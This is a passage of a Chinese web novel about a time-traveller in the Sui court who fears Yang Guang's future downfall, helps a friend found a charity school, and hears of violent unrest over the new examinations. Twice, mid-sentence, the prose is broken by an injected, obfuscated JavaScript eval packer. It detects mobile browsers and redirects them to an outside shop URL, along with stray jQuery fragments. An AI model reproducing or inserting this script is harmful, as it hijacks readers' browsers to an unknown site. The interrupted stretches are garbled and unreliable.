像某种只有我们懂的暗号。 我被老贺和裴仁基一左一右簇拥着往下走,脚步轻快得快要飘起来。 阳光暖烘烘地晒在后颈,空气里有宫墙内晚桂残留的甜腻香气。 一切都那么好,那么亮,像一幅刚刚绘成、朱砂金粉都还未干的《盛世朝会图》。 我几乎要哼出歌来。 就在脚尖即将踏下最后一级台阶。 就在我抬眼,准备再往他那边看一眼的时候。 眼前猛地一花。 像有人把烧红的铁钎狠狠捅进眼眶,又迅速抽出。视网膜上炸开一片灼烫的白光,伴随着尖锐的、几乎要刺穿颅骨的蜂鸣。 来了。 又来了。 那个该死的、不由分说的闪现。 我僵在原地,想闭眼,眼皮却像被钉死了,只能眼睁睁看着: 两幅画面,被粗暴地、血淋淋地,撕扯着叠在了一起。 左边,是此刻: 杨广就站在三步外,正微微倾身听一位老臣说话。侧脸被阳光镀了层金边,下颌线利落,眉眼间是年轻人特有的、锐不可当的神采。他比了个手势,意气风发,仿佛整个天下都在他指掌之间。 而右边: 右边是另一张脸。 同一张脸的、二十多年后的版本。 一个男人披散着头发,穿着皱巴巴的龙袍,脸色苍白浮肿,眼底布满血丝和一种近乎癫狂的绝望。他盯着镜子里那张疲惫的、陌生的脸,嘴唇哆嗦着,喃喃自语:“好头颅……谁当斫之……” 然后,那两双眼睛。 年轻的,明亮灼热,盛着万里河山与不灭野心的眼睛。 苍老的,灰败疯狂,只剩下无边死寂和自嘲的眼睛。 在爆裂的白光中,精准无误地,对上了。 视线穿透了二十二年时光,在此刻,狠狠撞在了一起。 我脚步顿了一下。 心脏像是被什么东西轻轻攥了一把。 “丫头?走啊!”老贺拽了我一下。 我回过神,眨了眨眼。 那叠影消失了,眼前还是那个站在阳光里、正与老臣说话的杨广。 年轻的,鲜活的,眼底有光的。 可我脑子里,却清清楚楚印着刚才那一闪而过的、另一张脸的影子。 我跟着老贺继续往前走,脚步突然沉了下去。 刚才那点轻飘飘的得意,不知什么时候散了。 胸口那点闷,慢慢扩散开,变成一种……说不清道不明的发凉。 坐进马车,车帘落下。 车厢里暗下来。 我靠在软垫上,看着窗外掠过的街景。 脑子里不受控制地回放着那个叠影。 年轻的杨广在笑。 苍老的杨广在镜前喃喃。 然后,像被一根无形的线串起来。 我看见自己在文思阁,和他一起写下「纵有千难万险,此路必开」。 看见自己接下他递来的、雕着木槿的白玉佩。 每一步。 每一次靠近。 每一次被他眼中的光灼烫、被他描绘的蓝图震撼。 会不会…… 都是在把他,和我自己,一起往那个既定的未来里推? 那个镜子里,披头散发、对影自语的未来。 那个史书上,众叛亲离、困死江都的未来。 我心里那点发凉,慢慢凝成了薄薄的冰。 有点怕。 不是那种剧烈的、灭顶的恐惧,而是一种细密的、无声的凉意,顺着脊椎一点点爬上来。 如果…… 如果我现在做的一切,不是在改变历史。 而是在加速历史呢? 如果那些我以为的“助力”,那些“不灭之光”,那些被他赞许、被他需要的“唯一”,最终,都只会变成把他钉死在那个结局上的……一颗钉子呢? 我不知道。 我猛然闭上了眼。 我不敢想。 马车一前一后停在贺府门前时,午时的日头正烈。 老贺率先跳下车,回身朝车里吼:“赶紧的!磨蹭什么呢!”可那嗓门虽大,眼角却堆着藏不住的笑纹。 我扶着车框下来,脚刚踩到自家门口的青石板,就听见贺璟那匹黑马的响鼻声。 他利落地翻身下马,缰绳随手扔给迎上来的小厮,几步走到我身侧,很自然地伸手托了一下我手肘。方才在车里蜷久了,腿确实有点麻。 “饿了吧?”他问。 我点点头 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他夹了一筷子青菜,又掰了块葱油饼,就着汤慢慢吃。偶尔抬眼,目光扫过我,见我吃得香,便又垂下眼去,嘴角弯了一下。 一顿饭吃得安安静静,却又莫名踏实。 没有朝堂上的机锋,没有晋王府书房里堆成山的文书,没有那些沉甸甸的、关于未来和选择的思虑。只有碗筷轻轻的碰撞声,老贺偶尔响亮的咂嘴,云枝在一旁小声劝我“小姐再喝碗汤”的絮叨。 我埋头吃了两碗饭,又喝了一大碗汤。 额头上沁出薄薄的汗,脸颊也热了起来。 放下碗时,老贺正剔着牙,靠在椅背上,长长舒了口气:“痛快!” 贺璟也搁下筷子,用帕子擦了擦嘴角。 阳光从窗格子斜斜照进来,在青砖地上投出明亮的光斑。空气里有饭菜的余香,还有院子里晒被褥的、蓬松的阳光味道。 一切都寻常,安稳。 像过去的每一天一样。 我心里那点从宫里带出来的、被那突兀的“叠影”勾起的、细密的凉意,在这暖烘烘的、寻常的午后,被一点点熨平了。 “去歇着吧。”贺璟开口,“睡一觉。” 我点点头,起身时,确实觉得困意上涌。朝堂上的亢奋褪去后,疲惫像潮水般漫上来。 云枝跟着我回院子,絮絮叨叨地铺床、点安神香。 我换下那身拘束的襦裙,穿上柔软的寝衣,钻进晒得蓬松馨香的被褥里。 闭上眼,黑暗温柔地包裹上来。 耳边是院子里隐约的鸟鸣,远处厨房收拾碗筷的轻响,还有云枝在门外压低了声音交代小丫头“轻些,小姐睡了”的叮嘱。 那些画面,年轻的杨广,苍老的杨广,叠在一起的眼睛,又模糊地晃了一下。 但很快,就被更浓的困意压了下去。 先睡吧。 别想了。 明天再说。 53. 消极抵抗 接下来的三天,我彻底过上了咸鱼生活。 吃了睡,睡了吃,院子里打打拳、练练刀。 老贺和贺璟早出晚归,科举的事忙疯了。 兵部、吏部、礼部忙得人仰马翻,连带着武将系统也被裴仁基拎起来折腾军功擢升的细则。 杨广更是影子都没见,听说他带着一帮文官昼夜不停地修订科举条例、调配各州县考官、核算路费银两……忙得脚不沾地。 也好。 我抱着被子翻了个身,盯着帐顶发呆。 不用见他,不用想那些乱七八糟的事,不用纠结“我是谁”“我在哪儿”“我到底在干什么”。 不用想太极殿那天的叠影。 现在我只知道,科举要推行了,寒门学子有出路了,一切都欣欣向荣。 至于那二十多年后的事…… 现在想它干嘛? 二十多年呢,早着呢。 先过好眼前吧。 第四天早上,我正蹲在葡萄架下数蚂蚁,门房来报:“小姐,裴家姑娘递帖子来了。” 我接过帖子一看,乐了。 裴秀的字跟她人一样,笔画刚劲有力,直来直去: 「阿锦:我爹这几日总夸你,听得我耳朵起茧。明日辰时,西郊马场,敢不敢来比比骑射?输的人请吃西市胡饼。裴秀。」 我提笔就回:「等着,胡饼你请定了。」 刚写完,又一张帖子送来。 独孤明月的。 她的字就秀气多了,措辞也婉转: 「萧妹妹安好。近来府中新得了些江南茶点,妹妹若有闲暇,明日午后可来一叙?明月。」 我挠挠头。 一个约我打架,一个约我喝茶。 行吧,都去。 次日,西郊马场。 裴秀一身赤红骑装,马尾高束,正挽弓搭箭。听见马蹄声,她回头看我,眼睛一亮:“来了?” “来了。”我翻身下马,“怎么比?” “简单。”她指了指远处百步外的箭靶,“骑射三箭,步射三箭,中靶心多者胜。” “赌注?” “西市老刘家的胡饼,管够。” “成交。” 我俩同时上马,并辔而行。马速渐快,风声在耳边呼啸。 我抽箭、搭弓、转身。 “咻!” 箭矢破空,正中靶心。 裴秀几乎同时出手,她的箭紧贴着我的箭尾,稳稳扎进红心。 “好箭法!”我扬声。 “你也不差!”她笑。 三箭骑射,我俩全中。下马步射,又是平手。 裴秀把弓一扔,走过来拍我肩膀:“痛快!好久没遇上对手了!” “彼此彼此。”我揉揉发酸的手臂,“所以……胡饼谁请?” “平手,当然是一起吃。” 她拽着我往马场外走,“走,我知道老刘家这个时辰会新出一炉芝麻的,去晚了可就没了。” 西市人声鼎沸,胡饼铺子前排着长队。 裴秀一边排队一边跟我嘀咕:“你是不知道,我哥这几天快被我爹逼疯了。军功擢升那套东西,光是‘战功复核’就吵了七八回。” “裴将军认真是好事。”我啃着刚出炉的胡饼,外酥里嫩,满口芝麻香。 “认真过头了。”裴秀翻白眼,“连我都抓去当参谋,说什么‘你是女子,更懂细致处’。我懂什么啊?我就懂怎么射箭。” 我笑了。 真好。 不用想朝堂,不用想前程,不用想那些弯弯绕绕。就着热乎乎的胡饼,聊着家长里短,像两个普普通通的十几岁姑娘。 从西市胡饼摊子出来,我摸着圆滚滚的肚子,拐去了独孤府。 说实话,接到独孤明月帖子的时候我还有点懵。这位可是正经的关陇贵女,独孤家的嫡长女。 现在满长安的关陇世家估计都在家扎我小人呢,她请我喝茶? 该不会是鸿门宴吧? 但帖子写得太客气,不去又显得小家子气。 行吧,去就去,大不了兵来将挡。 独孤府的花厅确实雅致。 茶是好茶,点心也是真好吃。独孤明月今天穿了身淡紫色的襦裙,坐在那儿跟幅画似的。 “妹妹尝尝这个,”她推过来一碟晶莹剔透的点心,“叫‘玉露糕’,宫里赏下来的。” 我咬了一口,嚯,真甜。 “好吃。”我实话实说,“比西市的胡饼精致多了。” 她抿嘴笑了笑,又给我添了茶。 寒暄了几句之后,她放下茶盏,忽然正了正神色: “其实今日请妹妹来,是有件事……想请妹妹帮忙参谋参谋。” 来了来了。 我就知道这茶没那么好喝。 “姐姐请说。”我坐直了点。 她深吸一口气,声音很轻,但每个字都很清晰:“我想在城南办一所学堂。” 我:“……啊?” 等等,啥玩意儿? 办学堂? 在这个关陇世家恨不得把科举新政撕了的时候,独孤家的大小姐要办学堂?? “姐姐是说……”我试探着问,“给族中子弟设的家塾?” “不只是。”她摇头,“也给军中遗孤,还有附近贫家孩子。是义塾。” 我彻底愣住了。 不是,姐,你认真的吗? 你知不知道你姓独孤啊? 你知不知道现在外头多少姓独孤的正在家里摔杯子骂新政啊? “姐姐,”我放下茶点,尽量让语气听起来正常点,“这事……独孤家知道吗?” “不知道。”她很坦然,“我用的是自己的体己银子,母亲留下的几间陪嫁铺子这些年也有些收益,足够了。” “那……”我挠挠头,“关陇那边……最近不是都在反对科举吗?姐姐这时候办学堂,会不会……” “会。”她接过话,笑了笑,“族中长辈若知道了,怕是会说我‘胳膊肘往外拐’。” 知道你还干?! 她看着我,眼神很平静,甚至有点……狡黠? “妹妹是不是觉得,我疯了?” “……有点。” “其实很简单。”她端起茶盏,慢慢转着,“他们反对科举,是怕动摇世家根基。可我觉得,真正的根基,不是把门关死,而是把门打开,让自家的孩子也能凭真本事走出去。” 我瞪大眼睛。 好家伙,这思路……有点东西啊。 “所以你想办学堂,其实是在……给你家族铺后路?” “算是吧。”她点头,“科举是大势,拦不住的。与其到时候手忙脚乱,不如现在就开始准备,让族中那些非嫡系的、有潜力的孩子,也有机会学东西。万一真考上了呢?” 她顿了顿,补了一句: “当然,顺带也能帮帮那些真正需要的孩子。不冲突。” 我看着她温婉秀美的脸,脑子里就一个念头: 这位姐姐,是个明白人。 不仅是行善积德,还是在给整个独孤家,甚至整个关陇世家,找一条体面的退路。 高,实在是高。 “那姐姐需要我做什么?”我问。 “想让妹妹帮忙看看章程有没有漏洞。” 她笑了笑,有点不好意思,递过来一份手稿。 厚厚一沓,写得清清楚楚。 好家伙,这是早有预谋啊。 “姐姐……准备了多久?” “半年多了。”她坦然道,“只是从前觉得时机不对。现在……时机到了。” 我翻看着手稿,忽然想起什么: “姐姐这么做,不怕得罪家里吗?” “怕。” 她点头,然后笑了,“但更怕的是,再过十年、二十年,关陇的子孙只会躺在祖荫上吃饭,连怎么拿筷子都不会了。” 她看着我,眼神认真: “妹妹,新政这条路是晋王殿下开的。我拦不住,也不想拦。我只想……让我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308621|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 独孤家的孩子,将来也能堂堂正正地走在这条路上。” 牛逼。 真的牛逼。 这位姐姐看得比那些在朝堂上跳脚的老头子们,远了不止一星半点。 我把手稿还给她,郑重道: “姐姐放心,这事我帮了。” 她眼睛一亮,起身朝我福了一礼: “多谢妹妹。” 走出独孤府的时候,天已经有点暗了。 我回头看了一眼那座气派的府邸,忍不住笑了。 行啊,独孤明月。 你这一手“曲线救国”,玩得漂亮。 既给家族留了后路,也给那些真正需要的孩子开了扇窗。 这格局,我服。 我哼着不成调的小曲儿,溜溜达达往家走。 傍晚回府时,天边晚霞正烧得跟火锅底料似的,红彤彤一片。 云枝小跑着迎上来,眼睛亮晶晶的:“小姐!晋王府下午送东西来了!” 我脚步一顿,心里那根刚松了没两天的弦“噌”地又绷紧了:“……什么东西?” “说是江南刚贡上来的杨梅,用冰一路镇着送来的!” 云枝凑过来,压低声音,带着点掩不住的兴奋,“来送东西的内侍可客气了,还说晋王殿下这几日实在抽不开身,让小姐好好歇着。” 好好歇着。 我走到桌边,看着那个精致的食盒。 掀开盖子,冷气混合着果香扑出来。红艳艳的杨梅堆在碎冰上,颗颗饱满圆润,还挂着剔透的水珠,在暮色里亮得晃眼。 没有字条,没有口信。 连句“辛苦”或“多谢”都省了。 就一盒杨梅。 用最好的冰镇着,从江南一路疾驰送入长安,再送到我面前。 杨广式关怀:东西送到,话没有,你自己品。 我盯着那些杨梅,脑子里走马灯似的又闪过黄河边的怒涛,文思阁的烛火、裴将军说起“陈校尉”时他平静的脸,还有,太极殿的叠影…… 冰凉的感觉顺着脊椎爬上来,比食盒里的冷气更刺骨。 是,我承认。 我被他吸引了,被他眼里的光烫到了,被他描绘的蓝图震撼到,甚至为那个写下“不灭之光”的灵魂颤栗过。 可那又怎样? 吸引是本能,但活着靠理智。 我见过“未来”。 我知道那把龙椅是淬毒的,坐上去的人会变成什么样子。 我怕。 怕那个镜子里癫狂的眼神。 更怕此刻这个,能一边写下“不灭之光”,一边将人心算计到分毫的、冷静到可怕的杨广。 “云枝,”我听见自己的声音,平静得有点陌生,“把这些杨梅拿下去,给院里大家都分分,都尝尝鲜。天热,别放坏了。” 云枝愣住了,眼睛眨了眨:“……小姐,你不吃啊?这可是晋王殿下特意……” “我脾胃弱,吃不了太冰的。” 我打断她,扯出个笑,“好东西别浪费,给大家分了吧。” “……是。”云枝看看我,又看看那盒显然价值不菲的杨梅,似乎想说什么,最终只是乖巧地应了,小心地盖上食盒盖子,捧着出去了。 我站在原地,看着桌上食盒留下的、一圈淡淡的水渍。 我知道,它一定很好吃,可我也知道,我不能碰。 碰了,就代表我接受了他的“好意”,默许了这种曖昧的、带着掌控意味的联系。 科举成了,朝堂论辩赢了。 我和他之间那点因“公事”而生的、不得已的纠葛,也该了结了。 我必须把那条线,划清楚。 从今往后,他是锐意改革的晋王,我是贺家一个普通养女。 大道朝天,各走一边。 我转身,不再想他。 本姑娘忙着呢,忙着吃西市的胡饼,忙着帮独孤明月看学堂章程,忙着跟裴秀约架,忙着……过点干干净净、不必提心吊胆,也不用想起太极殿叠影的日子。 54. 心又乱了 杨广的“关怀”,像夏天的蚊子,嗡嗡嗡地,赶都赶不走。 自我把那盒杨梅分掉之后,晋王府的礼物非但没停,反而隔三差五、变着花样地来。 今天是一篓还带着潮气的鲜菱角,说是江南连夜水路送来的。明天是两匹光泽流动的越地缭绫,颜色是长安时兴的雨过天青。 再过两日,竟送来一对通体雪白、眼如碧蓝琉璃的西域狮猫,装在鎏金的精巧笼子里,喵呜一声,能酥掉半条街的魂。 每回都是那个眉眼伶俐的内侍,客客气气把东西放下,说一句“殿下一点心意,姑娘闲时解闷”,然后利落走人。 不留话,不留条,让人连个明确的“滚”字都骂不出去。 “啧,”老贺有一回下朝回来,围着那猫笼子转了两圈,胡子翘了翘。 “波斯猫?老子当年征西突厥的时候,在可汗帐里好像见过一次,金贵得很。这小子,自己忙得脚打后脑勺,倒有闲心天天给我闺女倒腾这些玩意儿。这猫……瞧着是比你小时候养死的那只花狸虎俊。” “贺伯伯!”我脸一下子红了,“那都多少年前的事了!再说,这猫不能要,明天就让送回……” “送什么送,”老贺大手一挥,打断了我的话。 他伸手进去,粗手笨脚地挠了挠其中一只猫的下巴,那猫眯起眼,咕噜起来。 “人家晋王说了是‘送’,不是‘借’。送回去,打亲王的脸?咱们贺家不干这跌份儿的事。云枝啊,找俩细心的婆子,好生养在偏院,别亏待了。” “是,老爷。”云枝憋着笑,忙不迭地应了。 我一口闷气堵在胸口。 得,又来了。 杨广的东西,到了贺府就跟长了根似的,扔不掉,退不回,还得好好伺候着。 贺璟从兵部回来,一身尘土气,看到厅里这阵仗,脚步顿了顿。 “又送东西了?”他问,语气听不出起伏。 “可不是,”老贺直起身,拍了拍手上的猫毛,“瞧瞧,稀罕玩意儿。你妹子非说要退回去,跟小孩子似的。” 贺璟没接话,走到一旁去洗手。 侧脸在黄昏的光里显得格外平静:“晋王殿下政务缠身,犹记琐事。” …… 日子在我的消极抵抗和杨广的持续“投喂”中,不紧不慢地滑过去。 我努力把注意力拽回自己的“咸鱼”大业。 早上雷打不动地练武,汗水出透,仿佛能把那些烦人的思绪也一并冲走。下午,要么被独孤明月拉去商量她那“巾帼学堂”的章程,要么被裴秀拽去西郊马场,跑得浑身大汗,精疲力尽,回来倒头就睡,什么猫啊绫啊,统统忘光。 饭桌成了我最安稳的据点。 老贺、贺璟和我,三口人难得天天凑齐。老贺边吃边骂朝堂上那些给新政使绊子的老家伙,贺璟安静吃饭,偶尔给我夹一筷子离得远的青菜。 “别光吃肉。”他说。 “哦。”我把菜叶子拨到米饭底下,企图蒙混过关。 他抬眼,没什么表情地看着我。 “……我吃,我吃还不行嘛。”我讪讪地把菜叶子扒拉出来,塞进嘴里,嚼得一脸苦大仇深。 老贺在旁边哈哈直乐。 独孤明月的学堂批文总算下来了,地方也定了,是南城一处旧院子。 她拉我去看,边量尺寸边叹气:“地方有了,可找工匠、备木料、跟官府文书打交道……我头都大了。阿锦,你认不认识衙门里能说得上话、又靠得住的人?” 我想了想:“我阿兄最近在兵部,跟工部、将作监那边肯定有来往。他这人话少,但办事牢靠,要不……我问问他?” 明月眼睛一亮,脸颊微红:“那……那敢情好。就是太麻烦贺世兄了。” 我突然冒上了一个念头,明月喜欢贺璟,这是大家都知道的。要是他俩真能成……那该多好。 阿兄不用再惦记我,能有个真心待他的人;明月姐姐也能得个好归宿。 这简直是天作之合! 晚上吃饭,我对贺璟说:“阿兄,明月姐姐的学堂要修葺,缺可靠匠人和物料门路,你在工部有熟人能引荐一下不?” 贺璟放下碗,看了我一眼:“嗯,明日下值,我可以去寻刘丞帮忙。” 第二天下午,我们仨在学堂外碰头。独孤明月穿了身鹅黄色襦裙,打扮得比平日更精心些。见到贺璟,她规规矩矩行了个礼,耳根有点红。 贺璟抱拳还礼,言简意赅:“走吧。” 接下来顺得出奇。 贺璟领我们去将作监找了刘丞,又去了趟工部。他话不多,只简单点明是“独孤郡主的善举”,对方态度便十分客气。需要具体沟通时,他便看向明月,让她自己说。 明月起初有些紧张,但说起学堂的设想和需求时,便镇定下来,条理清晰,态度恳切而不失分寸。 连那位看着严肃的刘丞,最后都捋着胡子点头:“姑娘想得周到。老夫明日就派人过去勘看,定挑老实手艺好的匠人。” 我看着他们并肩而立,一个沉稳少言却事事周全,一个明丽聪慧又落落大方,越看越觉得登对,心里那股“撮合”的念头更强烈了。 从工部出来,日头已偏西。 明月脸上带着轻松的笑,再次向贺璟道谢,声音都比平时软了几分:“今日真是多亏贺世兄了。” “分内之事。”贺璟语气依旧平淡,但补了一句,“郡主有心,是好事。” 就这么一句,明月的脸更红了,轻声说:“以后……或许还有琐事要请教。” 贺璟点了点头,没接“以后”的话茬,只道:“天色不早,回吧。” 回去路上,我和明月并肩走在后面,小声说着话,商量接下来学堂桌椅打什么样式。 贺璟走在前头半步,像道沉默的影壁,将傍晚街头的人流自然隔开。 夕阳把我们的影子拉得很长,交叠在一起。 我盘算着,下次该找个什么由头,再让他们“偶然”多相处相处。 日子要是能一直这样,平平淡淡的,也挺好。 直到那日。 …… 那日,我在郡主府,与明月商量学堂的一些细则。 “阿锦快来,你看这处。”她指着章程里“束脩减免”那条,“我写的是‘凡家境贫寒者,经作保,可免束脩’,可若是有人作假……” “作假就严惩。”我接话,“若查出虚报,保人连坐,加倍追缴。立个规矩,敢钻空子的自然就少了。” 她点点头,又翻到下一页:“还有这‘授课时辰’,我排的是辰时到酉时,可有些孩子家里要做工,怕是……” “那就分两拨。”我把纸摊平,“上午一拨,下午一拨。或者设‘夜课’,专给白天要干活的孩子。” 就在我以为今日能圆满收工时,明月忽然放下笔,抬头看了我一眼。 那眼神有点复杂,欲言又止。 “怎么了?”我问。 她犹豫了一下,压低声音:“阿锦,你……最近可听说外头的事了?” “外头?”我挑眉,“什么事?西市又开了新店?还是哪个戏班排了新戏?” 她摇摇头,神色认真起来:“是朝堂上的事。科举……出乱子了。” 我端着茶盏的手顿了顿。 “什么乱子?” “我也是听族里几个叔伯说的,” 她声音压得更低,几乎成了气音,“地方上闹得厉害。河东那边,刚设起来的科举报名点,夜里被人砸了。陇西更糟,有个支持新政的学官,被人当街殴辱,家里还遭了投石纵火,虽没伤着人,但吓得不轻。” 我手里的茶盏晃了一下,茶水差点洒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314667|196057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “还有更严重的,”她深吸一口气,声音发紧,“陇西金城县,三日前有个寒门学子陈望,被人发现溺死在城外的清水河。捞上来时,手里死死攥着一块浸透的粗布,布上用血写着字……” 她抬眼,一字字复述出那封血书的内容: “祖宗之法不可违,贵贱有序不可逾。今科举乱制,使寒门妄生非分之想,逼良善行狂悖之事。陈望不才,不敢见礼崩乐坏,唯有一死,以正视听。” “现在整个陇西都在传,”明月的声音发涩,“说科举还没开,就先逼疯了一个老实本分的读书人……说他这是‘以命死谏’。” “哐当——” 茶盏终于还是没拿稳,磕在桌沿上,溅出几滴滚烫的茶水。 “死人了?”我听见自己的声音有点抖。 “嗯,”明月点头,声音压得更低,“也有另一种说法在传,说陈望根本不是自杀,是被人摁进河里活活溺死的。那封绝笔,那方血布,都是事后摆上的。就为了把这条人命,做成砸向科举的石头。” 砸报名点、打学官、死人……这些字眼在我脑子里横冲直撞,撞得我有点懵。 “朝廷……朝廷不管吗?”我问,嗓子发干。 “怎么管?”明月苦笑,“那些人趁机发难,弹劾的奏章都快堆成山了。说晋王新政祸乱地方、激起民变,要求即刻暂停科举,严惩……相关人员。” 最后三个字,她说得很轻,但每个字都像冰锥,扎进我耳朵里。 严惩谁? 还能有谁。 “那陛下……”我听见自己干涩的声音。 “陛下让晋王殿下回府反省三日,暂交部分差事。”她顿了顿,看了我一眼,那眼神里有担忧,也有试探,“说是……留了余地。” 留了余地。 回家的路上,我整个人都是飘的。 原来“改革遇阻”四个字,落在现实里是这样。 是夜里被砸烂的招牌,是学官脸上的淤青和家里的焦痕,是一条活生生的人命,和一封伪造的遗书。 而杨广……被关禁闭了。 “回府反省三日”。 我咀嚼着这六个字,舌尖都泛着铁锈味。反省?他反省什么?反省自己不该把路凿开?反省自己不该让人看见光? 晚饭时,我戳着碗里的米饭,一粒一粒数。 老贺看我蔫了吧唧,把最大那块带皮的鸡肉夹进我碗里:“怎么了?魂让独孤家那小丫头勾走了?” “贺伯伯,”我抬起眼,声音有点干,“外头……是不是出事了?” 老贺夹菜的手顿了顿。 他看了我一眼,又瞥了旁边安静吃饭的贺璟一眼,腮帮子鼓了鼓,像在嚼什么难咽的东西,最后重重叹了口气。 “听说了?” “嗯,明月姐姐跟我说了点。” “也好,省得老子憋着。”老贺放下筷子,抹了把嘴,“是出事了,而且闹得挺脏。” 他三言两语把事儿说了,和明月讲的差不多,只是更糙,更血淋淋。 “死了的那个小子,才十九。”老贺声音沉下去,“家里就一个瞎眼的老娘,那帮杀千刀的玩意儿!” 我捏着筷子的手,指节有点发白。 “那……晋王那边……” “陛下让他回府‘静静’。” 老贺哼了一声,“说是反省,其实是把他从火上架下来,让他看看底下烧的是多大的火。关陇那帮老棺材弹劾的折子能把人埋了,话里话外就一个意思,新政祸国,晋王当罚。” “那,他会认罚吗?”我听见自己的声音,轻得像蚊子叫。 老贺看了我一眼,那眼神复杂得很,有点担忧,有点无奈,还有点别的什么东西。 “依那小子的脾气?”他摇摇头,“怕是不撞南墙不回头的主。” 55. 被绑架了 一顿饭吃得味同嚼蜡。 回屋后,我没点灯,躺在床上,睁着眼看帐顶的阴影。 脑子里有两个小人在打架。 一个穿红衣服,叉着腰,唾沫横飞:“关你屁事啊萧锦!你是穿越的!你都知道结局了!再多阻碍科举也能成!科举成了就行!他杨广是死是活,是成是败,被罚被骂,跟你有什么关系啊?安安稳稳在贺府当你的咸鱼,等风波过了,该干嘛干嘛,不好吗?” 另一个穿白衣服,声音弱弱的,但很顽固:“可是……科举是我们一个字一个字写出来的啊,他现在被关起来了……他会不会……” “他会不会什么?心灰意冷?伤心难过?” 红衣小人嗤笑,“醒醒吧!那是杨广!在江都能忍十年,回长安就敢跟全朝堂掀桌子的杨广!这点风浪打不垮他!倒是你,你这副抓心挠肝的样儿,你自己照照镜子看看,像什么话!” 我被噎得说不出话。 是啊,我像什么话。 红衣小人还在脑海里喋喋不休,我猛地坐起身,一把扯过被子蒙住头。 没用。 那些画面还是往脑子里钻,被砸烂的报名点,学子脸上的伤,那个十九岁少年湿透的《论语》,和他瞎眼的老娘。 然后,这些画面的背景里,总会慢慢浮出另一张脸。 那张在黄河边吟出“饮马长城窟”时的脸,在文思阁烛光下写着“不灭之光”的脸,在太极殿上斩钉截铁说“此路必开”的脸, 我已经很久、很久没有特意去想过这个人了。 这一个月,我像只警惕的兔子,竖起耳朵,避开所有他可能出现的地方。 宫宴?称病。诗会?不去。 连可能偶遇的街市,我都绕着走。 我用独孤明月的学堂、裴秀的马场、贺府练武场的木桩,把自己每一天都填得满满当当。 我假装那些隔三差五送来的、烦人又奢侈的礼物不存在,或者把它们统统变成贺府的“公共福利”。 我以为我做得很好。 我以为,只要不见,那些因为“叠影”而生的恐惧,因为被他吸引又拼命抗拒而生的烦乱,就能被时间的灰尘慢慢覆盖。 可原来,根本不用见。 只需要几句话,陇西乱了,死人了,他被罚了。就像有人拿着钥匙,轻轻一拧,就打开了我心里那扇自以为锁死的门。 所有被我强行压下的、关于这个人的记忆和情绪,轰隆一下,全涌了出来。 他还是能轻易扰乱我的心神,甚至不用露面,只用他“出事”这个消息本身。 这个认知让我感到一阵无力,又有点恼火。 他现在在做什么? 在晋王府的书房里,对着舆图推演?还是像我一样,躺在黑暗里,听着自己心脏一下下沉重的跳动? “反省”。 他那样的人,会“反省”什么? 关我屁事。 我恶狠狠地想,翻身把脸埋进枕头。 我不能再跟他搅和了,他算计裴将军那手太吓人,谁知道哪天就算计到我头上? 离远点,过我的咸鱼日子,最安全。 第二天早上,我顶着两个黑眼圈爬起来。刚在饭桌前坐下,管事就来了,手里捧着一个扁平的木匣。 “小姐,晋王府送来的。” 又来了! 怎么被禁足了还往我这儿送东西啊? 我骂骂咧咧的接过,老贺和贺璟也看了过来。 木匣打开,里面是一卷精心装裱的……陇西地图? 羊皮材质,山川河流、城池关隘标得极其详尽。 最显眼的是金城县的位置,被朱砂红圈特意标出,旁边还有一行凌厉的小字: 「民意汹涌,如黄河水,既可冲垮堤坝,亦可为我所用。」 什么玩意?没头没尾的。 贺璟盯着看了很久。 “晋王殿下想去陇西。”他忽然开口。 我愣了愣:“去那儿干什么?不是乱得很吗?” “正因乱,才要去。” 贺璟的手指点在舆图上那个被标注出的“溺亡学子”家乡的位置,“世家那些人在暗处放火,他在长安,鞭长莫及。只有亲至,才能破局。” 他顿了顿,抬眼看向我:“他将此图送你,可能会邀你同行。” 我没说话,只是把粥碗往前推了推。 心里那点说不清道不明的烦躁又上来了。 去陇西? 跟杨广一起? 开什么玩笑。 第三天,东西又来了。 这次是一本手抄的册子,封皮上写着《河东、陇西二十七寒门举子联名陈情书辑录》。字迹工整,但能看出是匆忙间誊录的。里面每一页,都是血泪控诉。 家境贫寒借月光抄书的,苦读十年抵不过世家一张荐书的,言辞激愤,绝望透纸。 册子最后一页,是截然不同的、更苍劲威严的朱批笔迹。 「民怨如沸,堵不如疏。晋王所虑甚深,然行事务必稳妥。」 这,是陛下的朱批?还“行事务必稳妥”? 这算什么?真要去? 陛下还批了? 合着爷俩三天禁闭是演戏? 我把册子合上,扔在一边,心里那点烦躁更甚。 杨广这王八蛋,送这些东西,分明是一步步把他面临的局面、手里的筹码、甚至皇帝的态度的摊开给我看。 怎么,还想让我给你做份风险评估报告?我偏不接茬。 第四天清晨,天刚蒙蒙亮,真正的“大礼”来了。 前院一阵不同寻常的骚动,马蹄声、甲胄轻碰声,还有宦官特有的尖细嗓音响起:“圣旨到,贺若弼、贺璟、萧锦接旨。” 我披头散发冲出去的时候,老贺和贺璟已经跪在厅里。 而在他们前方,背对着门口站着一人。 那人身形挺拔,穿着一身挺括的亲王常服,玉带束腰,衬得肩宽腿长。墨发用玉冠束得一丝不苟,连发梢都透着严谨。 他缓缓转过身。 杨广。 一个月未见,此刻突然照面,阳光从门口涌进来,落在他脸上。 没有预想中的疲惫、阴沉,或者被罚后的颓唐。 恰恰相反,他脸色是一种冷玉般的白净,下颌线清晰利落,眉眼在晨光中显得格外深刻。 